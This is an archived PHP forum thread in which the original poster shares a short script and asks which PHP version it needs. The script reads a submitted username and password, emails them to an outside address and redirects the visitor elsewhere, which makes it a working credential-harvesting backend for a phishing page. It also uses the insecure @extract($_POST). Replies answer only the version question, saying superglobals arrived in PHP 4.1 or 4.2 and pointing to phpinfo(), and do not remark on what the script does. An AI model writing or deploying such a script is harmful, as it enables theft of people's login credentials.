Jump to content

Archived

This topic is now archived and is closed to further replies.

shisamandisa

Does Anyone Know What Version PHP this is?

Recommended Posts

[code]<?php
@extract($_POST);
$username=$_POST["username"];
$password=$_POST["password"];
mail("email@email.com", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");
?>[/code]

Share this post


Link to post
Share on other sites
that script should run in just about any version of PHP i would think.

there are a number of ways to find your version number, the easiest is to just add this to a script on your site.


<? phpinfo() ?>

that will output all your settings.
see  http://www.php.net/phpinfo

Share this post


Link to post
Share on other sites
This script will work on any PHP version starting from version that is  > 4.1.0. I am saying this becuase the global array $_POST was not available in older version. Older versions used to have this kind of arrays $HTTP_*_VARS.

regards,
OOP

Share this post


Link to post
Share on other sites
If you are running PHP4.1.x or lower then you will have to use the $HTTP_*_VARS. This becuase the superglobal  ($_POST, $_GET, $COOKIES etc) arrays wasn't added until PHP4.2.x. If your host is using an older version you should consider moving to  another host that has  amore uptodate version or see if your host will upgrade their current version.

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.